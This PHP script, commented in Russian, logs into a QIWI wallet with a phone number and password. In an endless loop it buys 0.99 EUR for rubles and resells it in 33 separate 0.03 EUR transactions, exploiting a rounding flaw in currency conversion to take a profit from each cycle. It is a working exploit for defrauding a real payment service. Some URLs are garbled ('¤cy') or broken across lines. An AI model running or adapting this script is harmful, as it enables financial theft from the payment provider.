function get_t($cookie)
{
    //получаем идентификатор операции
    preg_match('|\"t\":\"(.*?)\"|', curl('https://w.qiwi.com/user/person/account/transfer.action', $cookie), $tmp);
    return $tmp[1];
}

$number = '';
$password = '';

//авторизация
preg_match('|Set-Cookie: (.*?);|', curl('https://w.qiwi.com/auth/login.action?source=MENU&login=%2B'.$number.'&password='.$password, null, array('Accept: application/json, text/javascript, */*; q=0.01', 'X-Requested-With: XMLHttpRequest')), $tmp);
$cookies = $tmp[1];

//бесконечная работа, естественно
while (true)
{
    $t = get_t($cookies);
    //покупаем 0,99 EUR за 40,59 RUB (1.23 * 33)
    curl('https://w.qiwi.com/user/person/account/state.action?extra%5B\'account\'%5D='.$number.'&source=qiwi_RUB¤cy=EUR&amountInteger=0&amountFraction=99
&state=CONFIRM&t='.$t.'&protected=true', $cookies);
    //подтверждение покупки
    curl('https://w.qiwi.com/payment/form/state.action?state=PAY&t='.$t, $cookies);
     
    //33 запроса на продажу 0,03 EUR
    for ($i=0; $i<33; $i++)
    {
       $t = get_t($cookies);
       //33 раза продаём 0,03 EUR по 1,37 RUB (45,21)
       curl('https://w.qiwi.com/user/person/account/state.action?extra%5B\'account\'%5D='.$number.'&source=qiwi_EUR¤cy=RUB&amountInteger=1&amountFraction=37&s
tate=CONFIRM&t='.$t.'&protected=true', $cookies);
       curl('https://w.qiwi.com/payment/form/state.action?state=PAY&t='.$t, $cookies);
    }
}

function curl($url, $cookie = false, $httpheaders = false)
{
    ..
}